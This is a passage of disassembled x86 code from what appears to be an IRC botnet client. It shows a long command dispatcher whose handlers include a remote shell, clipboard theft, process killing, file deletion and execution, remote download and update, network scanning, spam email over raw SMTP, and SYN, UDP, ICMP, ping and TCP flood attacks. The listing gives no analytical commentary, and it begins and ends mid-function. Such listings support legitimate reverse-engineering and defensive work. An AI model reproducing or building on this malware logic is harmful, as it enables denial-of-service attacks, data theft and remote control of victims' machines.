pop ecx
test eax, eax
pop ecx
jz loc_40E1CA
push edi ; Str2
push offset aSi ; "si"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E1CA
push edi ; Str2
push offset aRemov10e ; "remov10e"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E190
push edi ; Str2
push offset aRemov10e2 ; "remov10e2"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E190
push edi ; Str2
push offset aProcs ; "procs"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E06D
push edi ; Str2
push offset aPs ; "ps"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40E06D
push edi ; Str2
push offset aUptime ; "uptime"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DFE9
push edi ; Str2
push offset aUp ; "up"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DFE9
push edi ; Str2
push offset aDriveinfo ; "driveinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DFCC
push edi ; Str2
push offset aDrv ; "drv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DFCC
push edi ; Str2
push offset aTestdlls ; "testdlls"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DFB3
push edi ; Str2
push offset aDll ; "dll"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DFB3
push edi ; Str2
push offset aOpencmd ; "opencmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DF6C
push edi ; Str2
push offset aOcmd ; "ocmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DF6C
push edi ; Str2
push offset aCmdstop ; "cmdstop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A7CD
push dword ptr [ebp+esi+Args]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_40E572
; ---------------------------------------------------------------------------
loc_40A7CD: ; CODE XREF: sub_409557+125Cj
push edi ; Str2
push offset aWho ; "who"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40A85A
cmp [ebp+var_8], ebx
jnz short loc_40A7FD
push ebx ; int
push [ebp+var_4] ; int
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
loc_40A7FD: ; CODE XREF: sub_409557+128Aj
mov edi, [ebp+Str1]
xor esi, esi
loc_40A802: ; CODE XREF: sub_409557+12F1j
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40A80E
mov eax, offset aEmpty ; "<Empty>"
loc_40A80E: ; CODE XREF: sub_409557+12B0j
push eax
push esi
lea eax, [ebp+Dst]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40A802
push offset aMainLoginListC ; "[MAIN]: Login list complete."
loc_40A84F: ; CODE XREF: sub_409557+4EEDj
call sub_402D63
pop ecx
jmp loc_40E7D9
; ---------------------------------------------------------------------------
loc_40A85A: ; CODE XREF: sub_409557+1285j
push edi ; Str2
push offset aGetclip ; "getclip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DF2B
push edi ; Str2
push offset aGc ; "gc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DF2B
push edi ; Str2
push offset aFlusharp ; "flusharp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DF00
push edi ; Str2
loc_40A89A: ; DATA XREF: .data:0041E5ECo
; .data:0041E630o ...
push offset aFarp ; "farp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DF00
push edi ; Str2
push offset aFlushdns ; "flushdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DEDC
push edi ; Str2
push offset aFdns ; "fdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DEDC
push edi ; Str2
push offset aCurrentip ; "currentip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DE9F
push edi ; Str2
push offset aCip ; "cip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DE9F
push edi ; Str2
push offset aRloginserver ; "rloginserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DD43
push edi ; Str2
push offset aRlogin ; "rlogin"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DD43
push edi ; Str2
push offset aHttpserver ; "httpserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DBCD
push edi ; Str2
push offset aHttp ; "http"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DBCD
push edi ; Str2
push offset aTftpserver ; "tftpserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DA8F
push edi ; Str2
push offset aTftp_0 ; "tftp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40DA8F
push edi ; Str2
push offset aFofofo2 ; "fofofo2"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D794
push edi ; Str2
push offset aSfofofo2a ; "sfofofo2a"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D794
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz loc_4099D2
push [ebp+Dest] ; Str2
push offset aNick_0 ; "nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D77B
push [ebp+Dest] ; Str2
push offset aN ; "n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D77B
push [ebp+Dest] ; Str2
push offset aJoin ; "join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D75B
push [ebp+Dest] ; Str2
push offset aJ ; "j"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D75B
push [ebp+Dest] ; Str2
push offset aPart_0 ; "part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D742
push [ebp+Dest] ; Str2
push offset aPt ; "pt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D742
push [ebp+Dest] ; Str2
push offset aRaw ; "raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D70B
push [ebp+Dest] ; Str2
push offset aR ; "r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D70B
push [ebp+Dest] ; Str2
push offset aKillthread ; "killthread"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D648
push [ebp+Dest] ; Str2
push offset aK ; "k"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D648
push [ebp+Dest] ; Str2
push offset aC_quit ; "c_quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D59F
push [ebp+Dest] ; Str2
push offset aC_q ; "c_q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D59F
push [ebp+Dest] ; Str2
push offset aC_rndnick ; "c_rndnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D554
push [ebp+Dest] ; Str2
push offset aC_rn ; "c_rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D554
push [ebp+Dest] ; Str2
push offset aPrefix ; "prefix"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D53F
push [ebp+Dest] ; Str2
push offset aPr ; "pr"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D53F
push [ebp+Dest] ; Str2
push offset aOpen ; "open"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D515
push [ebp+Dest] ; Str2
push offset aO ; "o"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D515
push [ebp+Dest] ; Str2
push offset aS3rv3rfg ; "s3rv3rfg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D4F0
push [ebp+Dest] ; Str2
push offset aS3rv3rfg2 ; "s3rv3rfg2"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D4F0
push [ebp+Dest] ; Str2
push offset aDns ; "dns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D480
push [ebp+Dest] ; Str2
push offset aDn ; "dn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D480
push [ebp+Dest] ; Str2
push offset aKillproc ; "killproc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D454
push [ebp+Dest] ; Str2
push offset aKp ; "kp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D454
push [ebp+Dest] ; Str2
push offset aKill ; "kill"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D3F9
push [ebp+Dest] ; Str2
push offset aKi ; "ki"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D3F9
push [ebp+Dest] ; Str2
push offset aDelete ; "delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D3C2
push [ebp+Dest] ; Str2
push offset aDel ; "del"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D3C2
push [ebp+Dest] ; Str2
push offset aList_0 ; "list"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D3A7
push [ebp+Dest] ; Str2
push offset aLi ; "li"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D3A7
push [ebp+Dest] ; Str2
push offset aMirccmd ; "mirccmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D36C
push [ebp+Dest] ; Str2
push offset aMirc ; "mirc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D36C
push [ebp+Dest] ; Str2
push offset aCmd_0 ; "cmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D321
push [ebp+Dest] ; Str2
push offset aCm ; "cm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D321
push [ebp+Dest] ; Str2
push offset aReadfile ; "readfile"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D29C
push [ebp+Dest] ; Str2
push offset aRf ; "rf"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D29C
push [ebp+Dest] ; Str2
push offset aIdent ; "ident"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40ADD6
push edi ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40AD90
push 2
call sub_411E82
test eax, eax
pop ecx
jle short loc_40AD33
push offset aIdentAlreadyRu ; "[IDENT]: Already running."
jmp loc_40ADC3
; ---------------------------------------------------------------------------
loc_40AD33: ; CODE XREF: sub_409557+17D0j
lea eax, [ebp+Dst]
push offset aIdentdServerRu ; "[IDENTD]: Server running on Port: 113."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 2 ; int
push eax ; Source
call sub_411C3A
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_405C73
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_430554[esi], eax
jnz loc_40CA4B
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aIdentdFailedTo ; "[IDENTD]: Failed to start server, error"...
jmp loc_40E756
; ---------------------------------------------------------------------------
loc_40AD90: ; CODE XREF: sub_409557+17C4j
push edi ; Str2
push offset aOff ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40CA4B
push ebx
push 2
call sub_411E35
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40ADBE
push eax
push offset aIdentServerSto ; "[IDENT]: Server stopped. (%d thread(s) "...
jmp loc_40E756
; ---------------------------------------------------------------------------
loc_40ADBE: ; CODE XREF: sub_409557+185Aj
push offset aIdentNoThreadF ; "[IDENT]: No thread found."
loc_40ADC3: ; CODE XREF: sub_409557+17D7j
; sub_409557+4549j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40CA4B
; ---------------------------------------------------------------------------
loc_40ADD6: ; CODE XREF: sub_409557+17AFj
push [ebp+Dest] ; Str2
push offset aNet ; "net"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40B072
cmp dword_42EC80, ebx
jz short loc_40AE07
cmp dword_42ECA8, ebx
jz short loc_40AE07
push offset aNetFailedToLoa ; "[NET]: Failed to load advapi32.dll or n"...
jmp loc_40CC97
; ---------------------------------------------------------------------------
loc_40AE07: ; CODE XREF: sub_409557+189Cj
; sub_409557+18A4j
cmp [ebp+var_C], ebx
jz loc_40CCA5
mov eax, [ebp+esi+var_8C]
mov [ebp+Src], ebx
cmp eax, ebx
mov [ebp+Str1], eax
jz short loc_40AE2F
push eax ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
mov [ebp+Src], eax
pop ecx
loc_40AE2F: ; CODE XREF: sub_409557+18C8j
push edi ; Str2
push offset aStart ; "start"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40AE95
cmp [ebp+Str1], ebx
jz short loc_40AE69
push [ebp+Src]
push 3
loc_40AE4A: ; CODE XREF: sub_409557+1954j
; sub_409557+196Cj ...
call sub_4073D2
push eax
lea eax, [ebp+Dst]
push offset aS_2 ; "%s"
push eax ; Dest
call _sprintf
add esp, 14h
jmp loc_40CCA5
; ---------------------------------------------------------------------------
loc_40AE69: ; CODE XREF: sub_409557+18ECj
push [ebp+var_4] ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_407679
add esp, 0Ch
test eax, eax
jz short loc_40AE8B
push offset aNetServiceList ; "[NET]: Service list completed."
jmp loc_40CC97
; ---------------------------------------------------------------------------
loc_40AE8B: ; CODE XREF: sub_409557+1928j
push offset aNetServiceLi_0 ; "[NET]: Service list failed."
jmp loc_40CC97
; ---------------------------------------------------------------------------
loc_40AE95: ; CODE XREF: sub_409557+18E7j
push edi ; Str2
push offset aStop ; "stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40AEAD
push [ebp+Src]
push 4
jmp short loc_40AE4A
; ---------------------------------------------------------------------------
loc_40AEAD: ; CODE XREF: sub_409557+194Dj
push edi ; Str2
push offset aPause ; "pause"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40AEC5
push [ebp+Src]
push 5
jmp short loc_40AE4A
; ---------------------------------------------------------------------------
loc_40AEC5: ; CODE XREF: sub_409557+1965j
push edi ; Str2
push offset aContinue ; "continue"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40AEE0
push [ebp+Src]
push 6
jmp loc_40AE4A
; ---------------------------------------------------------------------------
loc_40AEE0: ; CODE XREF: sub_409557+197Dj
push edi ; Str2
push offset aDelete ; "delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40AEFB
push [ebp+Src]
push 1
jmp loc_40AE4A
; ---------------------------------------------------------------------------
loc_40AEFB: ; CODE XREF: sub_409557+1998j
push edi ; Str2
push offset aShare ; "share"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40AF78
cmp [ebp+Str1], ebx
jz short loc_40AF4B
cmp [ebp+var_9B0], bl
jz short loc_40AF21
push ebx
push [ebp+Str1]
push 1
jmp short loc_40AF2C
; ---------------------------------------------------------------------------
loc_40AF21: ; CODE XREF: sub_409557+19C0j
push [ebp+esi+var_88] ; int
push [ebp+Str1] ; Str
push ebx ; int
loc_40AF2C: ; CODE XREF: sub_409557+19C8j
call sub_4077B6
push eax
lea eax, [ebp+Dst]
push offset aS_2 ; "%s"
push eax ; Dest
call _sprintf
add esp, 18h
jmp loc_40CCA5
; ---------------------------------------------------------------------------
loc_40AF4B: ; CODE XREF: sub_409557+19B8j
push ebx ; int
push [ebp+var_4] ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_407944
add esp, 10h
test eax, eax
jz short loc_40AF6E
push offset aNetShareListCo ; "[NET]: Share list completed."
jmp loc_40CC97
; ---------------------------------------------------------------------------
loc_40AF6E: ; CODE XREF: sub_409557+1A0Bj
push offset aNetShareListFa ; "[NET]: Share list failed."
jmp loc_40CC97
; ---------------------------------------------------------------------------
loc_40AF78: ; CODE XREF: sub_409557+19B3j
push edi ; Str2
push offset aUser_2 ; "user"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40B01A
mov eax, [ebp+Str1]
cmp eax, ebx
jz short loc_40AFED
cmp [ebp+var_9B0], bl
jz short loc_40AFAE
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_40AFCE
; ---------------------------------------------------------------------------
loc_40AFAE: ; CODE XREF: sub_409557+1A43j
push [ebp+var_4] ; int
mov esi, [ebp+esi+var_88]
cmp esi, ebx
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
jz short loc_40AFCA
push esi
push eax
push ebx
jmp short loc_40AFCE
; ---------------------------------------------------------------------------
loc_40AFCA: ; CODE XREF: sub_409557+1A6Cj
push ebx ; int
push eax ; int
push 2 ; int
loc_40AFCE: ; CODE XREF: sub_409557+1A55j
; sub_409557+1A71j
call sub_407A65
push eax
lea eax, [ebp+Dst]
push offset aS_2 ; "%s"
push eax ; Dest
call _sprintf
add esp, 24h
jmp loc_40CCA5
; ---------------------------------------------------------------------------
loc_40AFED: ; CODE XREF: sub_409557+1A3Bj
push ebx ; int
push [ebp+var_4] ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_407F79
add esp, 10h
test eax, eax
jz short loc_40B010
push offset aNetUserListCom ; "[NET]: User list completed."
jmp loc_40CC97
; ---------------------------------------------------------------------------
loc_40B010: ; CODE XREF: sub_409557+1AADj
push offset aNetUserListFai ; "[NET]: User list failed."
jmp loc_40CC97
; ---------------------------------------------------------------------------
loc_40B01A: ; CODE XREF: sub_409557+1A30j
push edi ; Str2
push offset aSend ; "send"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40B068
cmp [ebp+Str1], ebx
jz short loc_40B05E
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+Src] ; Source
call sub_40822D
push eax
lea eax, [ebp+Dst]
push offset aS_2 ; "%s"
push eax ; Dest
call _sprintf
add esp, 1Ch
jmp loc_40CCA5
; ---------------------------------------------------------------------------
loc_40B05E: ; CODE XREF: sub_409557+1AD7j
push offset aNetNoMessageSp ; "[NET]: No message specified."
jmp loc_40CC97
; ---------------------------------------------------------------------------
loc_40B068: ; CODE XREF: sub_409557+1AD2j
push offset aNetCommandUnkn ; "[NET]: Command unknown."
jmp loc_40CC97
; ---------------------------------------------------------------------------
loc_40B072: ; CODE XREF: sub_409557+1890j
push [ebp+Dest] ; Str2
push offset aGethost ; "gethost"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D1B8
push [ebp+Dest] ; Str2
push offset aGh ; "gh"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D1B8
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+Str1], eax
jz loc_4099D2
push [ebp+Dest] ; Str2
push offset aAddalias ; "addalias"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D179
push [ebp+Dest] ; Str2
push offset aAa ; "aa"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D179
push [ebp+Dest] ; Str2
push offset aPrivmsg_0 ; "privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D126
push [ebp+Dest] ; Str2
push offset aPm_0 ; "pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D126
push [ebp+Dest] ; Str2
push offset aAction ; "action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D0B8
push [ebp+Dest] ; Str2
push offset aA_1 ; "a"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D0B8
push [ebp+Dest] ; Str2
push offset aCycle ; "cycle"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D055
push [ebp+Dest] ; Str2
push offset aCy ; "cy"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D055
push [ebp+Dest] ; Str2
push offset aMode ; "mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D016
push [ebp+Dest] ; Str2
push offset aM_0 ; "m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40D016
push [ebp+Dest] ; Str2
push offset aC_raw ; "c_raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CFAB
push [ebp+Dest] ; Str2
push offset aC_r ; "c_r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CFAB
push [ebp+Dest] ; Str2
push offset aC_mode ; "c_mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CF29
push [ebp+Dest] ; Str2
push offset aC_m ; "c_m"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CF29
push [ebp+Dest] ; Str2
push offset aC_nick ; "c_nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CEB8
push [ebp+Dest] ; Str2
push offset aC_n ; "c_n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CEB8
push [ebp+Dest] ; Str2
push offset aC_join ; "c_join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CE92
push [ebp+Dest] ; Str2
push offset aC_j ; "c_j"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CE92
push [ebp+Dest] ; Str2
push offset aC_part ; "c_part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CE2F
push [ebp+Dest] ; Str2
push offset aC_p ; "c_p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CE2F
push [ebp+Dest] ; Str2
push offset aRepeat ; "repeat"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CD69
push [ebp+Dest] ; Str2
push offset aRp ; "rp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CD69
push [ebp+Dest] ; Str2
push offset aDelay ; "delay"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CCCE
push [ebp+Dest] ; Str2
push offset aDe ; "de"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CCCE
push [ebp+Dest] ; Str2
push offset aFalehupd ; "falehupd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CB16
push [ebp+Dest] ; Str2
push offset aUfalehupdp ; "ufalehupdp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CB16
push [ebp+Dest] ; Str2
push offset aExecute ; "execute"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CA83
push [ebp+Dest] ; Str2
push offset aE ; "e"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CA83
push [ebp+Dest] ; Str2
push offset aRename ; "rename"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C9FF
push [ebp+Dest] ; Str2
push offset aMv ; "mv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C9FF
push [ebp+Dest] ; Str2
push offset aIcmpflood ; "icmpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C904
push [ebp+Dest] ; Str2
push offset aIcmp ; "icmp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C904
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+Src], eax
jz loc_4099D2
push [ebp+Dest] ; Str2
push offset aClone_0 ; "clone"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C819
push [ebp+Dest] ; Str2
push offset aC ; "c"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C819
push [ebp+Dest] ; Str2
push offset Str2 ; "ddos.syn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C714
push [ebp+Dest] ; Str2
push offset aDdos_ack ; "ddos.ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C714
push [ebp+Dest] ; Str2
push offset aDdos_random ; "ddos.random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C714
push [ebp+Dest] ; Str2
push offset aSynflood ; "synflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C616
push [ebp+Dest] ; Str2
push offset aSyn_0 ; "syn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C616
push [ebp+Dest] ; Str2
push offset aFalehdownl ; "falehdownl"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C4D8
push [ebp+Dest] ; Str2
push offset aFalehdownl2 ; "falehdownl2"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C4D8
push [ebp+Dest] ; Str2
push offset aRedirect_0 ; "redirect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C3DE
push [ebp+Dest] ; Str2
push offset aRd ; "rd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C3DE
push [ebp+Dest] ; Str2
push offset aScan_1 ; "scan"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C2EB
push [ebp+Dest] ; Str2
push offset aSc ; "sc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C2EB
push [ebp+Dest] ; Str2
push offset aC_privmsg ; "c_privmsg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C216
push [ebp+Dest] ; Str2
push offset aC_pm ; "c_pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C216
push [ebp+Dest] ; Str2
push offset aC_action ; "c_action"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C101
push [ebp+Dest] ; Str2
push offset aC_a ; "c_a"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40C101
mov eax, [ebp+esi+Str]
cmp eax, ebx
mov [ebp+arg_8], eax
jz loc_4099D2
push [ebp+Dest] ; Str2
push offset aFofofo ; "fofofo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40BDA8
push [ebp+Dest] ; Str2
push offset aF0f0f0 ; "f0f0f0"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40BDA8
push [ebp+Dest] ; Str2
push offset aUdpflood ; "udpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40BC88
push [ebp+Dest] ; Str2
push offset aUdp ; "udp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40BC88
push [ebp+Dest] ; Str2
push offset aU ; "u"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40BC88
push [ebp+Dest] ; Str2
push offset aPingflood ; "pingflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40BB55
push [ebp+Dest] ; Str2
push offset aPing_1 ; "ping"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40BB55
push [ebp+Dest] ; Str2
push offset aP ; "p"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40BB55
push [ebp+Dest] ; Str2
push offset aTcpflood ; "tcpflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40B9C2
push [ebp+Dest] ; Str2
push offset aTcp ; "tcp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40B9C2
push [ebp+Dest] ; Str2
push offset aEmail ; "email"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40B7C3
lea eax, [ebp+var_3E4]
push edi ; Source
push eax ; Dest
call _strcpy
push [ebp+Str1] ; Str
call _atoi
push [ebp+Src] ; Source
mov [ebp+Str1], eax
lea eax, [ebp+var_D9C]
push eax ; Dest
call _strcpy
push [ebp+arg_8] ; Source
lea eax, [ebp+var_B94]
push eax ; Dest
call _strcpy
push offset Delim ; " "
push offset a_ ; "_"
push [ebp+esi+Format] ; Src
call sub_406DDF
push eax ; Source
lea eax, [ebp+var_548]
push eax ; Dest
call _strcpy
add esp, 30h
lea eax, [ebp+var_6F4]
push eax
push 101h
call dword_42EB38 ; WSAStartup
lea eax, [ebp+var_3E4]
push eax
call dword_42EC34 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_42EC30 ; socket
push [ebp+Str1]
mov esi, eax
mov [ebp+var_2D8], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+Drive], eax
call dword_42EBB4 ; htons
mov [ebp+var_2D6], ax
lea eax, [ebp+var_548]
push eax
lea eax, [ebp+var_D9C]
push eax
lea eax, [ebp+var_548]
push eax
lea eax, [ebp+var_B94]
push eax
lea eax, [ebp+var_D9C]
push eax
lea eax, [ebp+var_159C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax ; Dest
call _sprintf
add esp, 1Ch
lea eax, [ebp+var_2D8]
push 10h
push eax
push esi
call dword_42EB60 ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_C98]
push edi
push eax
push esi
call dword_42EBCC ; recv
lea eax, [ebp+var_C98]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_159C]
push eax
push esi
call dword_42EC00 ; send
push ebx
lea eax, [ebp+var_C98]
push edi
push eax
push esi
call dword_42EBCC ; recv
push esi
call dword_42EC48 ; closesocket
call dword_42EB20 ; WSACleanup
lea eax, [ebp+var_B94]
push eax
push offset aEmailMessageSe ; "[EMAIL]: Message sent to %s."
loc_40B78A: ; CODE XREF: sub_409557+33A8j
; sub_409557+35BAj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40B799: ; CODE XREF: sub_409557+338Cj
; sub_409557+356Cj ...
cmp [ebp+var_8], ebx
jnz loc_40E43D
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
